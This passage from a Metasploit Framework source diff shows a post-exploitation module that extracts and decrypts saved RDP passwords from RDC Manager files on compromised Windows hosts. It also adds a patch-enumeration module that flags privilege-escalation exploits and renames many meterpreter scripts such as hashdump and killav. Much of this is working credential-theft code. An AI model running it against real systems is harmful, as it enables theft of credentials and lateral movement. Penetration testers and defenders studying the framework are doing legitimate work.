read_file(con_f[0]) + if connection_data + parse_connections(connection_data) + else + print_error("\tUnable to open RDC Manager server list: #{con_f[0]}") + next + end + end + end + end + + def decrypt_password(data) + rg = session.railgun + rg.add_dll('crypt32') unless rg.get_dll('crypt32') + + pid = client.sys.process.getpid + process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) + + mem = process.memory.allocate(128) + process.memory.write(mem, data) + + if session.sys.process.each_process.find { |i| i["pid"] == pid && i["arch"] == "x86"} + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") + else + addr = [mem].pack("Q") + len = [data.length].pack("Q") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) + len, addr = ret["pDataOut"].unpack("Q2") + end + + return "" if len == 0 + decrypted_pw = process.memory.read(addr, len) + return decrypted_pw + end + + def extract_password(object) + if object.name == 'server' + logon_creds = object.elements['logonCredentials'] + elsif object.elements['properties'] && object.elements['properties'].elements['logonCredentials'] + logon_creds = object.elements['properties'].elements['logonCredentials'] + else + return nil, nil, nil + end + + if logon_creds.attributes['inherit'] == "None" + # The credentials are defined directly on the server + username = logon_creds.elements['userName'].text + domain = logon_creds.elements['domain'].text + if logon_creds.elements['password'].attributes['storeAsClearText'] == "True" + password = logon_creds.elements['password'].text + else + crypted_pass = Rex::Text.decode_base64(logon_creds.elements['password'].text) + password = decrypt_password(crypted_pass) + password = Rex::Text.to_ascii(password) + if password.blank? + print_warning("\tUnable to decrypt password, try migrating to a process running as the file's owner.") + end + end + + elsif logon_creds.attributes['inherit'] == "FromParent" + # The credentials are inherited from a parent + parent = object.parent + username, password, domain = extract_password(parent) + end + + return username, password, domain + end + + def parse_connections(connection_data) + doc = REXML::Document.new(connection_data) + + # Process all of the server records + doc.elements.each("//server") do |server| + svr_name = server.elements['name'].text + username, password, domain = extract_password(server) + if server.elements['connectionSettings'].attributes['inherit'] == "None" + port = server.elements['connectionSettings'].elements['port'].text + else + port = 3389 + end + + print_status("\t\t#{svr_name} \t#{username} #{password} #{domain}") + register_creds(svr_name, username, password, domain, port) if password || username + end + + # Process all of the gateway elements, irrespective of server + doc.elements.each("//gatewaySettings") do |gateway| + next unless gateway.attributes['inherit'] == "None" + svr_name = gateway.elements['hostName'].text + username = gateway.elements['userName'].text + domain = gateway.elements['domain'].text + + if gateway.elements['password'].attributes['storeAsClearText'] == "True" + password = gateway.elements['password'].text + else + crypted_pass = Rex::Text.decode_base64(gateway.elements['password'].text) + password = decrypt_password(crypted_pass) + password = Rex::Text.to_ascii(password) + end + + parent = gateway.parent + if parent.elements['connectionSettings'].attributes['inherit'] == "None" + port = parent.elements['connectionSettings'].elements['port'].text + else + port = 3389 + end + + print_status("\t\t#{svr_name} \t#{username} #{password} #{domain}") + register_creds(svr_name, username, password, domain, port) if password || username + end + end + + def register_creds(host_ip, user, pass, realm, port) + # Note that entries added by hostname instead of IP will not + # generate complete records. See discussion here: + # https://github.com/rapid7/metasploit-framework/pull/3599#issuecomment-51710319 + + # Build service information + service_data = { + address: host_ip, + port: port, + service_name: 'rdp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Build credential information + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_data: pass, + private_type: :password, + username: user, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: realm, + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end +end diff --git a/modules/post/windows/gather/enum_patches.rb b/modules/post/windows/gather/enum_patches.rb new file mode 100644 index 000000000000..5e4cfc63c89c --- /dev/null +++ b/modules/post/windows/gather/enum_patches.rb @@ -0,0 +1,92 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/post/common' +require 'msf/core/post/windows/extapi' + +class Metasploit3 < Msf::Post + include Msf::Post::Common + include Msf::Post::Windows::ExtAPI + + MSF_MODULES = { + 'KB977165' => "KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)", + 'KB2305420' => "KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008", + 'KB2592799' => "KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2", + 'KB2778930' => "KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity", + 'KB2850851' => "KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1", + 'KB2870008' => "KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1" + } + + def initialize(info={}) + super(update_info(info, + 'Name' => "Windows Gather Applied Patches", + 'Description' => %q{ + This module will attempt to enumerate which patches are applied to a windows system + based on the result of the WMI query: SELECT HotFixID FROM Win32_QuickFixEngineering + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => + [ + 'zeroSteiner', # Original idea + 'mubix' # Post module + ], + 'References' => + [ + ['URL', 'http://msdn.microsoft.com/en-us/library/aa394391(v=vs.85).aspx'] + ] + )) + + register_options( + [ + OptBool.new('MSFLOCALS', [ true, 'Search for missing patchs for which there is a MSF local module', true]), + OptString.new('KB', [ true, 'A comma separated list of KB patches to search for', 'KB2871997, KB2928120']) + ], self.class) + end + + # The sauce starts here + def run + patches = [] + + datastore['KB'].split(',').each do |kb| + patches << kb.strip + end + + if datastore['MSFLOCALS'] + patches = patches + MSF_MODULES.keys + end + + extapi_loaded = load_extapi + if extapi_loaded + begin + objects = session.extapi.wmi.query("SELECT HotFixID FROM Win32_QuickFixEngineering") + rescue RuntimeError + print_error "Known bug in WMI query, try migrating to another process" + return + end + kb_ids = objects[:values].map { |kb| kb[0] } + report_info(patches, kb_ids) + else + print_error "ExtAPI failed to load" + end + end + + def report_info(patches, kb_ids) + patches.each do |kb| + if kb_ids.include?(kb) + print_status("#{kb} applied") + else + if MSF_MODULES.include?(kb) + print_good(MSF_MODULES[kb]) + else + print_good("#{kb} is missing") + end + end + end + end +end diff --git a/msfbinscan b/msfbinscan index 72d403ad7747..d9fa16516786 100755 --- a/msfbinscan +++ b/msfbinscan @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfcli b/msfcli index ee81c889bc03..8c54e6c77f08 100755 --- a/msfcli +++ b/msfcli @@ -44,6 +44,7 @@ class Msfcli tbl << ['(H)elp', "You're looking at it baby!"] tbl << ['(S)ummary', 'Show information about this module'] tbl << ['(O)ptions', 'Show available options for this module'] + tbl << ['(M)issing', 'Show empty required options for this module'] tbl << ['(A)dvanced', 'Show available advanced options for this module'] tbl << ['(I)DS Evasion', 'Show available ids evasion options for this module'] tbl << ['(P)ayloads', 'Show available payloads for this module'] @@ -385,6 +386,15 @@ class Msfcli end + def show_missing(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_options(m[:module], @indent, true)) + $stdout.puts("\nPayload:\n\n" + readable.dump_options(m[:payload], @indent, true)) if m[:payload] + $stdout.puts("\nEncoder:\n\n" + readable.dump_options(m[:encoder], @indent, true)) if m[:encoder] + $stdout.puts("\nNOP\n\n" + readable.dump_options(m[:nop], @indent, true)) if m[:nop] + end + + def show_advanced(m) readable = Msf::Serializer::ReadableText $stdout.puts("\n" + readable.dump_advanced_options(m[:module], @indent)) @@ -483,6 +493,8 @@ class Msfcli show_summary(modules) when "o" show_options(modules) + when "m" + show_missing(modules) when "a" show_advanced(modules) when "i" @@ -523,7 +535,6 @@ class Msfcli end $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - require 'fastlib' require 'msfenv' require 'msf/ui' require 'msf/base' diff --git a/msfconsole b/msfconsole index ce2e62dfb2bf..a96c91d768be 100755 --- a/msfconsole +++ b/msfconsole @@ -11,6 +11,32 @@ require 'pathname' +if ENV['METASPLOIT_FRAMEWORK_PROFILE'] == 'true' + gem 'perftools.rb' + require 'perftools' + + formatted_time = Time.now.strftime('%Y%m%d%H%M%S') + root = Pathname.new(__FILE__).parent + profile_pathname = root.join('tmp', 'profiles', 'msfconsole', formatted_time) + + profile_pathname.parent.mkpath + PerfTools::CpuProfiler.start(profile_pathname.to_path) + + at_exit { + PerfTools::CpuProfiler.stop + + puts "Generating pdf" + + pdf_path = "#{profile_pathname}.pdf" + + if Bundler.clean_system("pprof.rb --pdf #{profile_pathname} > #{pdf_path}") + puts "PDF saved to #{pdf_path}" + + Rex::Compat.open_file(pdf_path) + end + } +end + # # Project # diff --git a/msfd b/msfd index 1852435cabf5..8afe16c85290 100755 --- a/msfd +++ b/msfd @@ -17,7 +17,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfelfscan b/msfelfscan index 4651b2b6ae92..1c91a24975b5 100755 --- a/msfelfscan +++ b/msfelfscan @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfencode b/msfencode index 8ecd6a399354..0180b2a08078 100755 --- a/msfencode +++ b/msfencode @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfmachscan b/msfmachscan index 9669982207f8..def31523889a 100755 --- a/msfmachscan +++ b/msfmachscan @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfpayload b/msfpayload index 46e125b7a328..3797ec384c59 100755 --- a/msfpayload +++ b/msfpayload @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfpescan b/msfpescan index 4c73c55e1751..c674ea727f58 100755 --- a/msfpescan +++ b/msfpescan @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfrop b/msfrop index 6aa981830647..1f0a80e552e1 100755 --- a/msfrop +++ b/msfrop @@ -14,7 +14,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfrpc b/msfrpc index 4a791dfc132d..77532612303d 100755 --- a/msfrpc +++ b/msfrpc @@ -15,7 +15,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfrpcd b/msfrpcd index 892dd61a6364..c7dbc41f1d1f 100755 --- a/msfrpcd +++ b/msfrpcd @@ -15,7 +15,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfvenom b/msfvenom index ae0971ed0cc6..648e5a01aabc 100755 --- a/msfvenom +++ b/msfvenom @@ -7,7 +7,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] @@ -99,7 +98,7 @@ require 'msf/core/payload_generator' end opt.on('-b', '--bad-chars ', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b| - opts[:badchars] = b + opts[:badchars] = Rex::Text.hex_to_raw(b) end opt.on('-i', '--iterations ', Integer, 'The number of times to encode the payload') do |i| diff --git a/scripts/meterpreter/arp_scanner.rb b/scripts/meterpreter/arp_scanner.rb index c71d201ce38c..b6c52a3105a8 100644 --- a/scripts/meterpreter/arp_scanner.rb +++ b/scripts/meterpreter/arp_scanner.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/autoroute.rb b/scripts/meterpreter/autoroute.rb index 2561dee91a22..8af8d4cc5bc4 100644 --- a/scripts/meterpreter/autoroute.rb +++ b/scripts/meterpreter/autoroute.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for setting up a route from within a # Meterpreter session, without having to background the diff --git a/scripts/meterpreter/checkvm.rb b/scripts/meterpreter/checkvm.rb index 5c824f13665c..96d7ce66e663 100644 --- a/scripts/meterpreter/checkvm.rb +++ b/scripts/meterpreter/checkvm.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Meterpreter script for detecting if target host is a Virtual Machine # Provided by Carlos Perez at carlos_perez[at]darkoperator.com # Version: 0.2.0 diff --git a/scripts/meterpreter/credcollect.rb b/scripts/meterpreter/credcollect.rb index 001172e7c251..f54774e0e6a9 100644 --- a/scripts/meterpreter/credcollect.rb +++ b/scripts/meterpreter/credcollect.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # credcollect - tebo[at]attackresearch.com opts = Rex::Parser::Arguments.new( diff --git a/scripts/meterpreter/domain_list_gen.rb b/scripts/meterpreter/domain_list_gen.rb index df51c47eb2db..a8efd1505723 100644 --- a/scripts/meterpreter/domain_list_gen.rb +++ b/scripts/meterpreter/domain_list_gen.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- #Options and Option Parsing diff --git a/scripts/meterpreter/dumplinks.rb b/scripts/meterpreter/dumplinks.rb index 0f77699f1baa..6e93936f3cc7 100644 --- a/scripts/meterpreter/dumplinks.rb +++ b/scripts/meterpreter/dumplinks.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: davehull at dph_msf@trustedsignal.com #------------------------------------------------------------------------------- diff --git a/scripts/meterpreter/duplicate.rb b/scripts/meterpreter/duplicate.rb index 8771a3d13902..89caeba6caa7 100644 --- a/scripts/meterpreter/duplicate.rb +++ b/scripts/meterpreter/duplicate.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Scriptjunkie # Uses a meterpreter session to spawn a new meterpreter session in a different process. # A new process allows the session to take "risky" actions that might get the process killed by diff --git a/scripts/meterpreter/enum_chrome.rb b/scripts/meterpreter/enum_chrome.rb index e51067256a4b..8fca66c274d6 100644 --- a/scripts/meterpreter/enum_chrome.rb +++ b/scripts/meterpreter/enum_chrome.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Script to extract data from a chrome installation. # diff --git a/scripts/meterpreter/enum_firefox.rb b/scripts/meterpreter/enum_firefox.rb index b6527aa0e9aa..acd1c62880a0 100644 --- a/scripts/meterpreter/enum_firefox.rb +++ b/scripts/meterpreter/enum_firefox.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- diff --git a/scripts/meterpreter/enum_logged_on_users.rb b/scripts/meterpreter/enum_logged_on_users.rb index 2cfd630ceb7f..6814320a7738 100644 --- a/scripts/meterpreter/enum_logged_on_users.rb +++ b/scripts/meterpreter/enum_logged_on_users.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/enum_powershell_env.rb b/scripts/meterpreter/enum_powershell_env.rb index 51a4c7eb33e5..d3fab5da075e 100644 --- a/scripts/meterpreter/enum_powershell_env.rb +++ b/scripts/meterpreter/enum_powershell_env.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + #Meterpreter script for enumerating Microsoft Powershell settings. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com @client = client diff --git a/scripts/meterpreter/enum_putty.rb b/scripts/meterpreter/enum_putty.rb index 252c78d8c117..5eae76195bd0 100644 --- a/scripts/meterpreter/enum_putty.rb +++ b/scripts/meterpreter/enum_putty.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for enumerating putty connections # Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/enum_shares.rb b/scripts/meterpreter/enum_shares.rb index 19dcff1ca257..896315b7fbe4 100644 --- a/scripts/meterpreter/enum_shares.rb +++ b/scripts/meterpreter/enum_shares.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/enum_vmware.rb b/scripts/meterpreter/enum_vmware.rb index 78e611ab746f..c19a8fb200c0 100644 --- a/scripts/meterpreter/enum_vmware.rb +++ b/scripts/meterpreter/enum_vmware.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/event_manager.rb b/scripts/meterpreter/event_manager.rb index 18fcaa859554..cedccd5155c4 100644 --- a/scripts/meterpreter/event_manager.rb +++ b/scripts/meterpreter/event_manager.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/file_collector.rb b/scripts/meterpreter/file_collector.rb index 4ac88d6f567d..aa1c3972f3aa 100644 --- a/scripts/meterpreter/file_collector.rb +++ b/scripts/meterpreter/file_collector.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- @client = client diff --git a/scripts/meterpreter/get_application_list.rb b/scripts/meterpreter/get_application_list.rb index 51fd9cb278d2..fde54cc1265a 100644 --- a/scripts/meterpreter/get_application_list.rb +++ b/scripts/meterpreter/get_application_list.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Meterpreter script for listing installed applications and their version. # Provided: carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/get_env.rb b/scripts/meterpreter/get_env.rb index 00300fa26dc3..d93526b99856 100644 --- a/scripts/meterpreter/get_env.rb +++ b/scripts/meterpreter/get_env.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( diff --git a/scripts/meterpreter/get_filezilla_creds.rb b/scripts/meterpreter/get_filezilla_creds.rb index 1b719d8953c0..6d875394091a 100644 --- a/scripts/meterpreter/get_filezilla_creds.rb +++ b/scripts/meterpreter/get_filezilla_creds.rb @@ -1,3 +1,9 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + require "rexml/document" diff --git a/scripts/meterpreter/get_local_subnets.rb b/scripts/meterpreter/get_local_subnets.rb index aec4a583bef8..fd503a3a3857 100644 --- a/scripts/meterpreter/get_local_subnets.rb +++ b/scripts/meterpreter/get_local_subnets.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Meterpreter script that display local subnets # Provided by Nicob # Ripped from http://blog.metasploit.com/2006/10/meterpreter-scripts-and-msrt.html diff --git a/scripts/meterpreter/get_pidgin_creds.rb b/scripts/meterpreter/get_pidgin_creds.rb index 9eda3dda41a8..78d4f41d5406 100644 --- a/scripts/meterpreter/get_pidgin_creds.rb +++ b/scripts/meterpreter/get_pidgin_creds.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- require "rexml/document" diff --git a/scripts/meterpreter/get_valid_community.rb b/scripts/meterpreter/get_valid_community.rb index f27cd787dcd7..54c5bce348d8 100644 --- a/scripts/meterpreter/get_valid_community.rb +++ b/scripts/meterpreter/get_valid_community.rb @@ -1,3 +1,9 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + #copied getvncpw - thanks grutz/carlos diff --git a/scripts/meterpreter/getcountermeasure.rb b/scripts/meterpreter/getcountermeasure.rb index 1a689c0008e5..804a4417e96c 100644 --- a/scripts/meterpreter/getcountermeasure.rb +++ b/scripts/meterpreter/getcountermeasure.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration. # Provides also the option to kill the processes of detected products and disable the built-in firewall. diff --git a/scripts/meterpreter/getgui.rb b/scripts/meterpreter/getgui.rb index f9f1d01893f7..ebd59c91a000 100644 --- a/scripts/meterpreter/getgui.rb +++ b/scripts/meterpreter/getgui.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/gettelnet.rb b/scripts/meterpreter/gettelnet.rb index dc18aadb823e..3f43493ea464 100644 --- a/scripts/meterpreter/gettelnet.rb +++ b/scripts/meterpreter/gettelnet.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -150,17 +157,15 @@ def unsupported unsupported if client.platform !~ /win32|win64/i -if enbl +if enbl or (usr!= nil && pass != nil) message - insttlntsrv() - enabletlntsrv() - print_status("For cleanup use command: run multi_console_command -rc #{@dest}") - -elsif usr!= nil && pass != nil - message - insttlntsrv() - enabletlntsrv() - addrdpusr(usr, pass) + if enbl + insttlntsrv() + enabletlntsrv() + end + if (usr!= nil && pass != nil) + addrdpusr(usr, pass) + end print_status("For cleanup use command: run multi_console_command -rc #{@dest}") else diff --git a/scripts/meterpreter/getvncpw.rb b/scripts/meterpreter/getvncpw.rb index e588564cf99b..900bb9906fbb 100644 --- a/scripts/meterpreter/getvncpw.rb +++ b/scripts/meterpreter/getvncpw.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + #---------------------------------------------------------------- # Meterpreter script to obtain the VNC password out of the # registry and print its decoded cleartext diff --git a/scripts/meterpreter/hashdump.rb b/scripts/meterpreter/hashdump.rb index 022f795d9cf7..b53fdb5d827f 100644 --- a/scripts/meterpreter/hashdump.rb +++ b/scripts/meterpreter/hashdump.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Implement pwdump (hashdump) through registry reads + syskey diff --git a/scripts/meterpreter/hostsedit.rb b/scripts/meterpreter/hostsedit.rb index 838993d933b1..7523bb293228 100644 --- a/scripts/meterpreter/hostsedit.rb +++ b/scripts/meterpreter/hostsedit.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Meterpreter script for modifying the hosts file in windows # given a single entrie or several in a file and clear the # DNS cache on the target machine. diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb index ff8f28dd2364..3ddb44fddab3 100644 --- a/scripts/meterpreter/keylogrecorder.rb +++ b/scripts/meterpreter/keylogrecorder.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com # Updates by Shellster #------------------------------------------------------------------------------- diff --git a/scripts/meterpreter/killav.rb b/scripts/meterpreter/killav.rb index 095fdd4c92f4..8e305dcd58b8 100644 --- a/scripts/meterpreter/killav.rb +++ b/scripts/meterpreter/killav.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # # Meterpreter script that kills all Antivirus processes # Provided by: Jerome Athias diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb index 1e668389e2e9..0ef3e7b6bf4d 100644 --- a/scripts/meterpreter/metsvc.rb +++ b/scripts/meterpreter/metsvc.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # # Meterpreter script for installing the meterpreter service # diff --git a/scripts/meterpreter/migrate.rb b/scripts/meterpreter/migrate.rb index a7caf76d180e..c8d1a1760b47 100644 --- a/scripts/meterpreter/migrate.rb +++ b/scripts/meterpreter/migrate.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # # Simple example script that migrates to a specific process by name. # This is meant as an illustration. diff --git a/scripts/meterpreter/multi_console_command.rb b/scripts/meterpreter/multi_console_command.rb index 4bf1ed6227e4..f9b990a5f6ae 100644 --- a/scripts/meterpreter/multi_console_command.rb +++ b/scripts/meterpreter/multi_console_command.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for running multiple console commands on a meterpreter session # Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/multi_meter_inject.rb b/scripts/meterpreter/multi_meter_inject.rb index e4719567a25b..36a36e7f583a 100644 --- a/scripts/meterpreter/multi_meter_inject.rb +++ b/scripts/meterpreter/multi_meter_inject.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/multicommand.rb b/scripts/meterpreter/multicommand.rb index 5a59549e298f..7fd3ada27638 100644 --- a/scripts/meterpreter/multicommand.rb +++ b/scripts/meterpreter/multicommand.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it 